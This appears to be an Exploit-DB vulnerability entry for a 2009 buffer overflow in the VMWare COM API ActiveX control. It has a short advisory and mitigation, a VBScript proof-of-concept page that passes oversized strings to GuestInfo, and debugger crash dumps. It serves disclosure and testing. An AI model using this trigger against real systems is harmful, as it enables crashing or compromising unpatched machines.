VMWare COM API Buffer Overflow

vendor:

VMWare COM API

by:

shinnai

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: VMWare COM API

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP3

2009

VMWare COM API Buffer Overflow

A buffer overflow vulnerability exists in VMWare COM API when a malicious user passes a large string of 2000 characters to the GuestInfo function. This can lead to arbitrary code execution on the vulnerable system.

Mitigation:

Upgrade to the latest version of VMWare COM API.

Source

Exploit-DB raw data:

-----------------------------------------------------------------------------
 VMWare COM API Buffer Overflow
 url: http://www.vmware.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff_1 = String (2000, "a")
  buff_2 = String (2000, "b")
  test.GuestInfo (buff_1) = buff_2
 End Sub
</script>

Dump:
09:25:39.339  pid=0640 tid=0504  EXCEPTION (first-chance)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [00000070])
              ----------------------------------------------------------------
              EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
              EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
                            --> MOV EDX,[ECX+70]
              ----------------------------------------------------------------

09:25:39.339  pid=0640 tid=0504  EXCEPTION (unhandled)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [00000070])
              ----------------------------------------------------------------
              EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
              EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
                            --> MOV EDX,[ECX+70]
              ----------------------------------------------------------------

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